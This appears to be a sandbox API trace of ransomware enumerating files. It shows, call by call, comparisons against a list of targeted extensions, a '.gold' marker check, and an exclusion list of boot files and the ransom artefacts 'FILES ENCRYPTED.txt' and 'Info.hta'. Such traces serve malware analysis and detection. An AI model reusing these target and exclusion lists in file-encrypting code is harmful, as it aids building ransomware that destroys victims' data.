lpFindFileData=0x365f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fcc1ca4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fcc1ca4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x7ff, dwReserved1=0x2000, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0089.135] lstrlenW (lpString="1047x576black.png") returned 17 [0089.135] lstrlenW (lpString=".1cd") returned 4 [0089.135] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0089.135] lstrlenW (lpString=".3ds") returned 4 [0089.135] lstrcmpiW (lpString1=".3ds", lpString2=".png") returned -1 [0089.135] lstrlenW (lpString=".3fr") returned 4 [0089.135] lstrcmpiW (lpString1=".3fr", lpString2=".png") returned -1 [0089.135] lstrlenW (lpString=".3g2") returned 4 [0089.135] lstrcmpiW (lpString1=".3g2", lpString2=".png") returned -1 [0089.135] lstrlenW (lpString=".3gp") returned 4 [0089.135] lstrcmpiW (lpString1=".3gp", lpString2=".png") returned -1 [0089.135] lstrlenW (lpString=".7z") returned 3 [0089.135] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0089.135] lstrlenW (lpString=".accda") returned 6 [0089.135] lstrcmpiW (lpString1=".accda", lpString2="ck.png") returned -1 [0089.136] lstrlenW (lpString=".accdb") returned 6 [0089.136] lstrcmpiW (lpString1=".accdb", lpString2="ck.png") returned -1 [0089.136] lstrlenW (lpString=".accdc") returned 6 [0089.136] lstrcmpiW (lpString1=".accdc", lpString2="ck.png") returned -1 [0089.136] lstrlenW (lpString=".accde") returned 6 [0089.136] lstrcmpiW (lpString1=".accde", lpString2="ck.png") returned -1 [0089.136] lstrlenW (lpString=".accdt") returned 6 [0089.136] lstrcmpiW (lpString1=".accdt", lpString2="ck.png") returned -1 [0089.136] lstrlenW (lpString=".accdw") returned 6 [0089.136] lstrcmpiW (lpString1=".accdw", lpString2="ck.png") returned -1 [0089.136] lstrlenW (lpString=".adb") returned 4 [0089.136] lstrcmpiW (lpString1=".adb", lpString2=".png") returned -1 [0089.136] lstrlenW (lpString=".adp") returned 4 [0089.136] lstrcmpiW (lpString1=".adp", lpString2=".png") returned -1 [0089.136] lstrlenW (lpString=".ai") returned 3 [0089.136] lstrcmpiW (lpString1=".ai", lpString2="png") returned -1 [0089.136] lstrlenW (lpString=".ai3") returned 4 [0089.136] lstrcmpiW (lpString1=".ai3", lpString2=".png") returned -1 [0089.136] lstrlenW (lpString=".ai4") returned 4 [0089.136] lstrcmpiW (lpString1=".ai4", lpString2=".png") returned -1 [0089.136] lstrlenW (lpString=".ai5") returned 4 [0089.136] lstrcmpiW (lpString1=".ai5", lpString2=".png") returned -1 [0089.136] lstrlenW (lpString=".ai6") returned 4 [0089.136] lstrcmpiW (lpString1=".ai6", lpString2=".png") returned -1 [0089.136] lstrlenW (lpString=".ai7") returned 4 [0089.136] lstrcmpiW (lpString1=".ai7", lpString2=".png") returned -1 [0089.136] lstrlenW (lpString=".ai8") returned 4 [0089.136] lstrcmpiW (lpString1=".ai8", lpString2=".png") returned -1 [0089.136] lstrlenW (lpString=".anim") returned 5 [0089.136] lstrcmpiW (lpString1=".anim", lpString2="k.png") returned -1 [0089.136] lstrlenW (lpString=".arw") returned 4 [0089.136] lstrcmpiW (lpString1=".arw", lpString2=".png") returned -1 [0089.136] lstrlenW (lpString=".as") returned 3 [0089.137] lstrcmpiW (lpString1=".as", lpString2="png") returned -1 [0089.137] lstrlenW (lpString=".asa") returned 4 [0089.137] lstrcmpiW (lpString1=".asa", lpString2=".png") returned -1 [0089.137] lstrlenW (lpString=".asc") returned 4 [0089.137] lstrcmpiW (lpString1=".asc", lpString2=".png") returned -1 [0089.137] lstrlenW (lpString=".ascx") returned 5 [0089.137] lstrcmpiW (lpString1=".ascx", lpString2="k.png") returned -1 [0089.137] lstrlenW (lpString=".asm") returned 4 [0089.137] lstrcmpiW (lpString1=".asm", lpString2=".png") returned -1 [0089.137] lstrlenW (lpString=".asmx") returned 5 [0089.137] lstrcmpiW (lpString1=".asmx", lpString2="k.png") returned -1 [0089.137] lstrlenW (lpString=".asp") returned 4 [0089.137] lstrcmpiW (lpString1=".asp", lpString2=".png") returned -1 [0089.137] lstrlenW (lpString=".aspx") returned 5 [0089.137] lstrcmpiW (lpString1=".aspx", lpString2="k.png") returned -1 [0089.137] lstrlenW (lpString=".asr") returned 4 [0089.137] lstrcmpiW (lpString1=".asr", lpString2=".png") returned -1 [0089.137] lstrlenW (lpString=".asx") returned 4 [0089.137] lstrcmpiW (lpString1=".asx", lpString2=".png") returned -1 [0089.137] lstrlenW (lpString=".avi") returned 4 [0089.137] lstrcmpiW (lpString1=".avi", lpString2=".png") returned -1 [0089.137] lstrlenW (lpString=".avs") returned 4 [0089.137] lstrcmpiW (lpString1=".avs", lpString2=".png") returned -1 [0089.137] lstrlenW (lpString=".backup") returned 7 [0089.137] lstrcmpiW (lpString1=".backup", lpString2="ack.png") returned -1 [0089.137] lstrlenW (lpString=".bak") returned 4 [0089.137] lstrcmpiW (lpString1=".bak", lpString2=".png") returned -1 [0089.137] lstrlenW (lpString=".bay") returned 4 [0089.137] lstrcmpiW (lpString1=".bay", lpString2=".png") returned -1 [0089.137] lstrlenW (lpString=".bd") returned 3 [0089.137] lstrcmpiW (lpString1=".bd", lpString2="png") returned -1 [0089.137] lstrlenW (lpString=".bin") returned 4 [0089.137] lstrcmpiW (lpString1=".bin", lpString2=".png") returned -1 [0089.137] lstrlenW (lpString=".bmp") returned 4 [0089.137] lstrcmpiW (lpString1=".bmp", lpString2=".png") returned -1 [0089.137] lstrlenW (lpString=".bz2") returned 4 [0089.137] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0089.137] lstrlenW (lpString=".c") returned 2 [0089.137] lstrcmpiW (lpString1=".c", lpString2="ng") returned -1 [0089.137] lstrlenW (lpString=".cdr") returned 4 [0089.137] lstrcmpiW (lpString1=".cdr", lpString2=".png") returned -1 [0089.137] lstrlenW (lpString=".cer") returned 4 [0089.137] lstrcmpiW (lpString1=".cer", lpString2=".png") returned -1 [0089.137] lstrlenW (lpString=".cf") returned 3 [0089.137] lstrcmpiW (lpString1=".cf", lpString2="png") returned -1 [0089.137] lstrlenW (lpString=".cfc") returned 4 [0089.137] lstrcmpiW (lpString1=".cfc", lpString2=".png") returned -1 [0089.137] lstrlenW (lpString=".cfm") returned 4 [0089.137] lstrcmpiW (lpString1=".cfm", lpString2=".png") returned -1 [0089.137] lstrlenW (lpString=".cfml") returned 5 [0089.137] lstrcmpiW (lpString1=".cfml", lpString2="k.png") returned -1 [0089.138] lstrlenW (lpString=".cfu") returned 4 [0089.138] lstrcmpiW (lpString1=".cfu", lpString2=".png") returned -1 [0089.138] lstrlenW (lpString=".chm") returned 4 [0089.138] lstrcmpiW (lpString1=".chm", lpString2=".png") returned -1 [0089.138] lstrlenW (lpString=".cin") returned 4 [0089.138] lstrcmpiW (lpString1=".cin", lpString2=".png") returned -1 [0089.138] lstrlenW (lpString=".class") returned 6 [0089.138] lstrcmpiW (lpString1=".class", lpString2="ck.png") returned -1 [0089.138] lstrlenW (lpString=".clx") returned 4 [0089.138] lstrcmpiW (lpString1=".clx", lpString2=".png") returned -1 [0089.138] lstrlenW (lpString=".config") returned 7 [0089.138] lstrcmpiW (lpString1=".config", lpString2="ack.png") returned -1 [0089.138] lstrlenW (lpString=".cpp") returned 4 [0089.138] lstrcmpiW (lpString1=".cpp", lpString2=".png") returned -1 [0089.138] lstrlenW (lpString=".cr2") returned 4 [0089.138] lstrcmpiW (lpString1=".cr2", lpString2=".png") returned -1 [0089.138] lstrlenW (lpString=".crt") returned 4 [0089.138] lstrcmpiW (lpString1=".crt", lpString2=".png") returned -1 [0089.138] lstrlenW (lpString=".crw") returned 4 [0089.138] lstrcmpiW (lpString1=".crw", lpString2=".png") returned -1 [0089.138] lstrlenW (lpString=".cs") returned 3 [0089.138] lstrcmpiW (lpString1=".cs", lpString2="png") returned -1 [0089.138] lstrlenW (lpString=".css") returned 4 [0089.138] lstrcmpiW (lpString1=".css", lpString2=".png") returned -1 [0089.138] lstrlenW (lpString=".csv") returned 4 [0089.138] lstrcmpiW (lpString1=".csv", lpString2=".png") returned -1 [0089.138] lstrlenW (lpString=".cub") returned 4 [0089.138] lstrcmpiW (lpString1=".cub", lpString2=".png") returned -1 [0089.138] lstrlenW (lpString=".dae") returned 4 [0089.138] lstrcmpiW (lpString1=".dae", lpString2=".png") returned -1 [0089.138] lstrlenW (lpString=".dat") returned 4 [0089.138] lstrcmpiW (lpString1=".dat", lpString2=".png") returned -1 [0089.138] lstrlenW (lpString=".db") returned 3 [0089.138] lstrcmpiW (lpString1=".db", lpString2="png") returned -1 [0089.138] lstrlenW (lpString=".dbf") returned 4 [0089.138] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0089.138] lstrlenW (lpString=".dbx") returned 4 [0089.138] lstrcmpiW (lpString1=".dbx", lpString2=".png") returned -1 [0089.138] lstrlenW (lpString=".dc3") returned 4 [0089.138] lstrcmpiW (lpString1=".dc3", lpString2=".png") returned -1 [0089.138] lstrlenW (lpString=".dcm") returned 4 [0089.138] lstrcmpiW (lpString1=".dcm", lpString2=".png") returned -1 [0089.138] lstrlenW (lpString=".dcr") returned 4 [0089.138] lstrcmpiW (lpString1=".dcr", lpString2=".png") returned -1 [0089.138] lstrlenW (lpString=".der") returned 4 [0089.138] lstrcmpiW (lpString1=".der", lpString2=".png") returned -1 [0089.138] lstrlenW (lpString=".dib") returned 4 [0089.139] lstrcmpiW (lpString1=".dib", lpString2=".png") returned -1 [0089.139] lstrlenW (lpString=".dic") returned 4 [0089.139] lstrcmpiW (lpString1=".dic", lpString2=".png") returned -1 [0089.139] lstrlenW (lpString=".dif") returned 4 [0089.139] lstrcmpiW (lpString1=".dif", lpString2=".png") returned -1 [0089.139] lstrlenW (lpString=".divx") returned 5 [0089.139] lstrcmpiW (lpString1=".divx", lpString2="k.png") returned -1 [0089.139] lstrlenW (lpString=".djvu") returned 5 [0089.139] lstrcmpiW (lpString1=".djvu", lpString2="k.png") returned -1 [0089.139] lstrlenW (lpString=".dng") returned 4 [0089.139] lstrcmpiW (lpString1=".dng", lpString2=".png") returned -1 [0089.139] lstrlenW (lpString=".doc") returned 4 [0089.139] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0089.139] lstrlenW (lpString=".docm") returned 5 [0089.139] lstrcmpiW (lpString1=".docm", lpString2="k.png") returned -1 [0089.139] lstrlenW (lpString=".docx") returned 5 [0089.139] lstrcmpiW (lpString1=".docx", lpString2="k.png") returned -1 [0089.139] lstrlenW (lpString=".dot") returned 4 [0089.139] lstrcmpiW (lpString1=".dot", lpString2=".png") returned -1 [0089.139] lstrlenW (lpString=".dotm") returned 5 [0089.139] lstrcmpiW (lpString1=".dotm", lpString2="k.png") returned -1 [0089.139] lstrlenW (lpString=".dotx") returned 5 [0089.139] lstrcmpiW (lpString1=".dotx", lpString2="k.png") returned -1 [0089.139] lstrlenW (lpString=".dpx") returned 4 [0089.139] lstrcmpiW (lpString1=".dpx", lpString2=".png") returned -1 [0089.139] lstrlenW (lpString=".dqy") returned 4 [0089.139] lstrcmpiW (lpString1=".dqy", lpString2=".png") returned -1 [0089.139] lstrlenW (lpString=".dsn") returned 4 [0089.139] lstrcmpiW (lpString1=".dsn", lpString2=".png") returned -1 [0089.139] lstrlenW (lpString=".dt") returned 3 [0089.139] lstrcmpiW (lpString1=".dt", lpString2="png") returned -1 [0089.139] lstrlenW (lpString=".dtd") returned 4 [0089.139] lstrcmpiW (lpString1=".dtd", lpString2=".png") returned -1 [0089.139] lstrlenW (lpString=".dwg") returned 4 [0089.139] lstrcmpiW (lpString1=".dwg", lpString2=".png") returned -1 [0089.139] lstrlenW (lpString=".dwt") returned 4 [0089.139] lstrcmpiW (lpString1=".dwt", lpString2=".png") returned -1 [0089.139] lstrlenW (lpString=".dx") returned 3 [0089.139] lstrcmpiW (lpString1=".dx", lpString2="png") returned -1 [0089.139] lstrlenW (lpString=".dxf") returned 4 [0089.139] lstrcmpiW (lpString1=".dxf", lpString2=".png") returned -1 [0089.139] lstrlenW (lpString=".edml") returned 5 [0089.139] lstrcmpiW (lpString1=".edml", lpString2="k.png") returned -1 [0089.139] lstrlenW (lpString=".efd") returned 4 [0089.139] lstrcmpiW (lpString1=".efd", lpString2=".png") returned -1 [0089.139] lstrlenW (lpString=".elf") returned 4 [0089.139] lstrcmpiW (lpString1=".elf", lpString2=".png") returned -1 [0089.139] lstrlenW (lpString=".emf") returned 4 [0089.139] lstrcmpiW (lpString1=".emf", lpString2=".png") returned -1 [0089.139] lstrlenW (lpString=".emz") returned 4 [0089.139] lstrcmpiW (lpString1=".emz", lpString2=".png") returned -1 [0089.139] lstrlenW (lpString=".epf") returned 4 [0089.139] lstrcmpiW (lpString1=".epf", lpString2=".png") returned -1 [0089.140] lstrlenW (lpString=".eps") returned 4 [0089.140] lstrcmpiW (lpString1=".eps", lpString2=".png") returned -1 [0089.140] lstrlenW (lpString=".epsf") returned 5 [0089.140] lstrcmpiW (lpString1=".epsf", lpString2="k.png") returned -1 [0089.140] lstrlenW (lpString=".epsp") returned 5 [0089.140] lstrcmpiW (lpString1=".epsp", lpString2="k.png") returned -1 [0089.140] lstrlenW (lpString=".erf") returned 4 [0089.140] lstrcmpiW (lpString1=".erf", lpString2=".png") returned -1 [0089.140] lstrlenW (lpString=".exr") returned 4 [0089.140] lstrcmpiW (lpString1=".exr", lpString2=".png") returned -1 [0089.140] lstrlenW (lpString=".f4v") returned 4 [0089.140] lstrcmpiW (lpString1=".f4v", lpString2=".png") returned -1 [0089.140] lstrlenW (lpString=".fido") returned 5 [0089.140] lstrcmpiW (lpString1=".fido", lpString2="k.png") returned -1 [0089.140] lstrlenW (lpString=".flm") returned 4 [0089.140] lstrcmpiW (lpString1=".flm", lpString2=".png") returned -1 [0089.140] lstrlenW (lpString=".flv") returned 4 [0089.140] lstrcmpiW (lpString1=".flv", lpString2=".png") returned -1 [0089.140] lstrlenW (lpString=".frm") returned 4 [0089.140] lstrcmpiW (lpString1=".frm", lpString2=".png") returned -1 [0089.140] lstrlenW (lpString=".fxg") returned 4 [0089.140] lstrcmpiW (lpString1=".fxg", lpString2=".png") returned -1 [0089.140] lstrlenW (lpString=".geo") returned 4 [0089.140] lstrcmpiW (lpString1=".geo", lpString2=".png") returned -1 [0089.140] lstrlenW (lpString=".gif") returned 4 [0089.140] lstrcmpiW (lpString1=".gif", lpString2=".png") returned -1 [0089.140] lstrlenW (lpString=".grs") returned 4 [0089.140] lstrcmpiW (lpString1=".grs", lpString2=".png") returned -1 [0089.140] lstrlenW (lpString=".gz") returned 3 [0089.140] lstrcmpiW (lpString1=".gz", lpString2="png") returned -1 [0089.140] lstrlenW (lpString=".h") returned 2 [0089.140] lstrcmpiW (lpString1=".h", lpString2="ng") returned -1 [0089.140] lstrlenW (lpString=".hdr") returned 4 [0089.140] lstrcmpiW (lpString1=".hdr", lpString2=".png") returned -1 [0089.140] lstrlenW (lpString=".hpp") returned 4 [0089.140] lstrcmpiW (lpString1=".hpp", lpString2=".png") returned -1 [0089.140] lstrlenW (lpString=".hta") returned 4 [0089.140] lstrcmpiW (lpString1=".hta", lpString2=".png") returned -1 [0089.140] lstrlenW (lpString=".htc") returned 4 [0089.140] lstrcmpiW (lpString1=".htc", lpString2=".png") returned -1 [0089.140] lstrlenW (lpString=".htm") returned 4 [0089.140] lstrcmpiW (lpString1=".htm", lpString2=".png") returned -1 [0089.140] lstrlenW (lpString=".html") returned 5 [0089.140] lstrcmpiW (lpString1=".html", lpString2="k.png") returned -1 [0089.140] lstrlenW (lpString=".icb") returned 4 [0089.140] lstrcmpiW (lpString1=".icb", lpString2=".png") returned -1 [0089.140] lstrlenW (lpString=".ics") returned 4 [0089.140] lstrcmpiW (lpString1=".ics", lpString2=".png") returned -1 [0089.141] lstrlenW (lpString=".iff") returned 4 [0089.141] lstrcmpiW (lpString1=".iff", lpString2=".png") returned -1 [0089.141] lstrlenW (lpString=".inc") returned 4 [0089.141] lstrcmpiW (lpString1=".inc", lpString2=".png") returned -1 [0089.141] lstrlenW (lpString=".indd") returned 5 [0089.141] lstrcmpiW (lpString1=".indd", lpString2="k.png") returned -1 [0089.141] lstrlenW (lpString=".ini") returned 4 [0089.141] lstrcmpiW (lpString1=".ini", lpString2=".png") returned -1 [0089.141] lstrlenW (lpString=".iqy") returned 4 [0089.141] lstrcmpiW (lpString1=".iqy", lpString2=".png") returned -1 [0089.141] lstrlenW (lpString=".j2c") returned 4 [0089.141] lstrcmpiW (lpString1=".j2c", lpString2=".png") returned -1 [0089.141] lstrlenW (lpString=".j2k") returned 4 [0089.141] lstrcmpiW (lpString1=".j2k", lpString2=".png") returned -1 [0089.141] lstrlenW (lpString=".java") returned 5 [0089.141] lstrcmpiW (lpString1=".java", lpString2="k.png") returned -1 [0089.141] lstrlenW (lpString=".jp2") returned 4 [0089.141] lstrcmpiW (lpString1=".jp2", lpString2=".png") returned -1 [0089.141] lstrlenW (lpString=".jpc") returned 4 [0089.141] lstrcmpiW (lpString1=".jpc", lpString2=".png") returned -1 [0089.141] lstrlenW (lpString=".jpe") returned 4 [0089.141] lstrcmpiW (lpString1=".jpe", lpString2=".png") returned -1 [0089.141] lstrlenW (lpString=".jpeg") returned 5 [0089.141] lstrcmpiW (lpString1=".jpeg", lpString2="k.png") returned -1 [0089.141] lstrlenW (lpString=".jpf") returned 4 [0089.141] lstrcmpiW (lpString1=".jpf", lpString2=".png") returned -1 [0089.141] lstrlenW (lpString=".jpg") returned 4 [0089.141] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0089.141] lstrlenW (lpString=".jpx") returned 4 [0089.141] lstrcmpiW (lpString1=".jpx", lpString2=".png") returned -1 [0089.141] lstrlenW (lpString=".js") returned 3 [0089.141] lstrcmpiW (lpString1=".js", lpString2="png") returned -1 [0089.141] lstrlenW (lpString=".jsf") returned 4 [0089.141] lstrcmpiW (lpString1=".jsf", lpString2=".png") returned -1 [0089.141] lstrlenW (lpString=".json") returned 5 [0089.141] lstrcmpiW (lpString1=".json", lpString2="k.png") returned -1 [0089.141] lstrlenW (lpString=".jsp") returned 4 [0089.141] lstrcmpiW (lpString1=".jsp", lpString2=".png") returned -1 [0089.141] lstrlenW (lpString=".kdc") returned 4 [0089.141] lstrcmpiW (lpString1=".kdc", lpString2=".png") returned -1 [0089.141] lstrlenW (lpString=".kmz") returned 4 [0089.141] lstrcmpiW (lpString1=".kmz", lpString2=".png") returned -1 [0089.141] lstrlenW (lpString=".kwm") returned 4 [0089.141] lstrcmpiW (lpString1=".kwm", lpString2=".png") returned -1 [0089.141] lstrlenW (lpString=".lasso") returned 6 [0089.141] lstrcmpiW (lpString1=".lasso", lpString2="ck.png") returned -1 [0089.141] lstrlenW (lpString=".lbi") returned 4 [0089.141] lstrcmpiW (lpString1=".lbi", lpString2=".png") returned -1 [0089.141] lstrlenW (lpString=".lgf") returned 4 [0089.141] lstrcmpiW (lpString1=".lgf", lpString2=".png") returned -1 [0089.141] lstrlenW (lpString=".lgp") returned 4 [0089.142] lstrcmpiW (lpString1=".lgp", lpString2=".png") returned -1 [0089.142] lstrlenW (lpString=".log") returned 4 [0089.142] lstrcmpiW (lpString1=".log", lpString2=".png") returned -1 [0089.142] lstrlenW (lpString=".m1v") returned 4 [0089.142] lstrcmpiW (lpString1=".m1v", lpString2=".png") returned -1 [0089.142] lstrlenW (lpString=".m4a") returned 4 [0089.142] lstrcmpiW (lpString1=".m4a", lpString2=".png") returned -1 [0089.142] lstrlenW (lpString=".m4v") returned 4 [0089.142] lstrcmpiW (lpString1=".m4v", lpString2=".png") returned -1 [0089.142] lstrlenW (lpString=".max") returned 4 [0089.142] lstrcmpiW (lpString1=".max", lpString2=".png") returned -1 [0089.142] lstrlenW (lpString=".md") returned 3 [0089.142] lstrcmpiW (lpString1=".md", lpString2="png") returned -1 [0089.142] lstrlenW (lpString=".mda") returned 4 [0089.142] lstrcmpiW (lpString1=".mda", lpString2=".png") returned -1 [0089.142] lstrlenW (lpString=".mdb") returned 4 [0089.142] lstrcmpiW (lpString1=".mdb", lpString2=".png") returned -1 [0089.142] lstrlenW (lpString=".mde") returned 4 [0089.142] lstrcmpiW (lpString1=".mde", lpString2=".png") returned -1 [0089.142] lstrlenW (lpString=".mdf") returned 4 [0089.142] lstrcmpiW (lpString1=".mdf", lpString2=".png") returned -1 [0089.142] lstrlenW (lpString=".mdw") returned 4 [0089.142] lstrcmpiW (lpString1=".mdw", lpString2=".png") returned -1 [0089.142] lstrlenW (lpString=".mef") returned 4 [0089.142] lstrcmpiW (lpString1=".mef", lpString2=".png") returned -1 [0089.142] lstrlenW (lpString=".mft") returned 4 [0089.142] lstrcmpiW (lpString1=".mft", lpString2=".png") returned -1 [0089.142] lstrlenW (lpString=".mfw") returned 4 [0089.142] lstrcmpiW (lpString1=".mfw", lpString2=".png") returned -1 [0089.142] lstrlenW (lpString=".mht") returned 4 [0089.142] lstrcmpiW (lpString1=".mht", lpString2=".png") returned -1 [0089.142] lstrlenW (lpString=".mhtml") returned 6 [0089.142] lstrcmpiW (lpString1=".mhtml", lpString2="ck.png") returned -1 [0089.142] lstrlenW (lpString=".mka") returned 4 [0089.142] lstrcmpiW (lpString1=".mka", lpString2=".png") returned -1 [0089.142] lstrlenW (lpString=".mkidx") returned 6 [0089.142] lstrcmpiW (lpString1=".mkidx", lpString2="ck.png") returned -1 [0089.142] lstrlenW (lpString=".mkv") returned 4 [0089.142] lstrcmpiW (lpString1=".mkv", lpString2=".png") returned -1 [0089.142] lstrlenW (lpString=".mos") returned 4 [0089.142] lstrcmpiW (lpString1=".mos", lpString2=".png") returned -1 [0089.142] lstrlenW (lpString=".mov") returned 4 [0089.142] lstrcmpiW (lpString1=".mov", lpString2=".png") returned -1 [0089.142] lstrlenW (lpString=".mp3") returned 4 [0089.142] lstrcmpiW (lpString1=".mp3", lpString2=".png") returned -1 [0089.142] lstrlenW (lpString=".mp4") returned 4 [0089.142] lstrcmpiW (lpString1=".mp4", lpString2=".png") returned -1 [0089.142] lstrlenW (lpString=".mpeg") returned 5 [0089.142] lstrcmpiW (lpString1=".mpeg", lpString2="k.png") returned -1 [0089.142] lstrlenW (lpString=".mpg") returned 4 [0089.142] lstrcmpiW (lpString1=".mpg", lpString2=".png") returned -1 [0089.142] lstrlenW (lpString=".mpv") returned 4 [0089.142] lstrcmpiW (lpString1=".mpv", lpString2=".png") returned -1 [0089.142] lstrlenW (lpString=".mrw") returned 4 [0089.143] lstrcmpiW (lpString1=".mrw", lpString2=".png") returned -1 [0089.143] lstrlenW (lpString=".msg") returned 4 [0089.143] lstrcmpiW (lpString1=".msg", lpString2=".png") returned -1 [0089.143] lstrlenW (lpString=".mxl") returned 4 [0089.143] lstrcmpiW (lpString1=".mxl", lpString2=".png") returned -1 [0089.143] lstrlenW (lpString=".myd") returned 4 [0089.143] lstrcmpiW (lpString1=".myd", lpString2=".png") returned -1 [0089.143] lstrlenW (lpString=".myi") returned 4 [0089.143] lstrcmpiW (lpString1=".myi", lpString2=".png") returned -1 [0089.143] lstrlenW (lpString=".nef") returned 4 [0089.143] lstrcmpiW (lpString1=".nef", lpString2=".png") returned -1 [0089.143] lstrlenW (lpString=".nrw") returned 4 [0089.143] lstrcmpiW (lpString1=".nrw", lpString2=".png") returned -1 [0089.143] lstrlenW (lpString=".obj") returned 4 [0089.143] lstrcmpiW (lpString1=".obj", lpString2=".png") returned -1 [0089.143] lstrlenW (lpString=".odb") returned 4 [0089.143] lstrcmpiW (lpString1=".odb", lpString2=".png") returned -1 [0089.143] lstrlenW (lpString=".odc") returned 4 [0089.143] lstrcmpiW (lpString1=".odc", lpString2=".png") returned -1 [0089.143] lstrlenW (lpString=".odm") returned 4 [0089.143] lstrcmpiW (lpString1=".odm", lpString2=".png") returned -1 [0089.143] lstrlenW (lpString=".odp") returned 4 [0089.143] lstrcmpiW (lpString1=".odp", lpString2=".png") returned -1 [0089.143] lstrlenW (lpString=".ods") returned 4 [0089.143] lstrcmpiW (lpString1=".ods", lpString2=".png") returned -1 [0089.143] lstrlenW (lpString=".oft") returned 4 [0089.143] lstrcmpiW (lpString1=".oft", lpString2=".png") returned -1 [0089.143] lstrlenW (lpString=".one") returned 4 [0089.143] lstrcmpiW (lpString1=".one", lpString2=".png") returned -1 [0089.143] lstrlenW (lpString=".onepkg") returned 7 [0089.143] lstrcmpiW (lpString1=".onepkg", lpString2="ack.png") returned -1 [0089.143] lstrlenW (lpString=".onetoc2") returned 8 [0089.143] lstrcmpiW (lpString1=".onetoc2", lpString2="lack.png") returned -1 [0089.143] lstrlenW (lpString=".opt") returned 4 [0089.143] lstrcmpiW (lpString1=".opt", lpString2=".png") returned -1 [0089.143] lstrlenW (lpString=".oqy") returned 4 [0089.143] lstrcmpiW (lpString1=".oqy", lpString2=".png") returned -1 [0089.143] lstrlenW (lpString=".orf") returned 4 [0089.143] lstrcmpiW (lpString1=".orf", lpString2=".png") returned -1 [0089.143] lstrlenW (lpString=".p12") returned 4 [0089.143] lstrcmpiW (lpString1=".p12", lpString2=".png") returned -1 [0089.143] lstrlenW (lpString=".p7b") returned 4 [0089.143] lstrcmpiW (lpString1=".p7b", lpString2=".png") returned -1 [0089.143] lstrlenW (lpString=".p7c") returned 4 [0089.143] lstrcmpiW (lpString1=".p7c", lpString2=".png") returned -1 [0089.143] lstrlenW (lpString=".pam") returned 4 [0089.143] lstrcmpiW (lpString1=".pam", lpString2=".png") returned -1 [0089.143] lstrlenW (lpString=".pbm") returned 4 [0089.143] lstrcmpiW (lpString1=".pbm", lpString2=".png") returned -1 [0089.143] lstrlenW (lpString=".pct") returned 4 [0089.143] lstrcmpiW (lpString1=".pct", lpString2=".png") returned -1 [0089.143] lstrlenW (lpString=".pcx") returned 4 [0089.144] lstrcmpiW (lpString1=".pcx", lpString2=".png") returned -1 [0089.144] lstrlenW (lpString=".pdd") returned 4 [0089.144] lstrcmpiW (lpString1=".pdd", lpString2=".png") returned -1 [0089.144] lstrlenW (lpString=".pdf") returned 4 [0089.144] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0089.144] lstrlenW (lpString=".pdp") returned 4 [0089.144] lstrcmpiW (lpString1=".pdp", lpString2=".png") returned -1 [0089.144] lstrlenW (lpString=".pef") returned 4 [0089.144] lstrcmpiW (lpString1=".pef", lpString2=".png") returned -1 [0089.144] lstrlenW (lpString=".pem") returned 4 [0089.144] lstrcmpiW (lpString1=".pem", lpString2=".png") returned -1 [0089.144] lstrlenW (lpString=".pff") returned 4 [0089.144] lstrcmpiW (lpString1=".pff", lpString2=".png") returned -1 [0089.144] lstrlenW (lpString=".pfm") returned 4 [0089.144] lstrcmpiW (lpString1=".pfm", lpString2=".png") returned -1 [0089.144] lstrlenW (lpString=".pfx") returned 4 [0089.144] lstrcmpiW (lpString1=".pfx", lpString2=".png") returned -1 [0089.144] lstrlenW (lpString=".pgm") returned 4 [0089.144] lstrcmpiW (lpString1=".pgm", lpString2=".png") returned -1 [0089.144] lstrlenW (lpString=".php") returned 4 [0089.144] lstrcmpiW (lpString1=".php", lpString2=".png") returned -1 [0089.144] lstrlenW (lpString=".php3") returned 5 [0089.144] lstrcmpiW (lpString1=".php3", lpString2="k.png") returned -1 [0089.144] lstrlenW (lpString=".php4") returned 5 [0089.144] lstrcmpiW (lpString1=".php4", lpString2="k.png") returned -1 [0089.144] lstrlenW (lpString=".php5") returned 5 [0089.144] lstrcmpiW (lpString1=".php5", lpString2="k.png") returned -1 [0089.144] lstrlenW (lpString=".phtml") returned 6 [0089.144] lstrcmpiW (lpString1=".phtml", lpString2="ck.png") returned -1 [0089.144] lstrlenW (lpString=".pict") returned 5 [0089.144] lstrcmpiW (lpString1=".pict", lpString2="k.png") returned -1 [0089.144] lstrlenW (lpString=".pl") returned 3 [0089.144] lstrcmpiW (lpString1=".pl", lpString2="png") returned -1 [0089.144] lstrlenW (lpString=".pls") returned 4 [0089.144] lstrcmpiW (lpString1=".pls", lpString2=".png") returned -1 [0089.144] lstrlenW (lpString=".pm") returned 3 [0089.144] lstrcmpiW (lpString1=".pm", lpString2="png") returned -1 [0089.144] lstrlenW (lpString=".png") returned 4 [0089.144] lstrcmpiW (lpString1=".png", lpString2=".png") returned 0 [0089.144] lstrlenW (lpString="1047x576black.png") returned 17 [0089.144] lstrlenW (lpString=".gold") returned 5 [0089.144] lstrcmpiW (lpString1=".gold", lpString2="k.png") returned -1 [0089.144] lstrlenW (lpString="1047x576black.png") returned 17 [0089.144] lstrcmpiW (lpString1="boot.ini", lpString2="1047x576black.png") returned 1 [0089.144] lstrcmpiW (lpString1="bootfont.bin", lpString2="1047x576black.png") returned 1 [0089.144] lstrcmpiW (lpString1="ntldr", lpString2="1047x576black.png") returned 1 [0089.144] lstrcmpiW (lpString1="ntdetect.com", lpString2="1047x576black.png") returned 1 [0089.144] lstrcmpiW (lpString1="io.sys", lpString2="1047x576black.png") returned 1 [0089.144] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="1047x576black.png") returned 1 [0089.145] lstrcmpiW (lpString1="Info.hta", lpString2="1047x576black.png") returned 1 [0089.145] lstrcmpiW (lpString1="payload.exe", lpString2="1047x576black.png") returned 1 [0089.145] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\1047x576black.png") 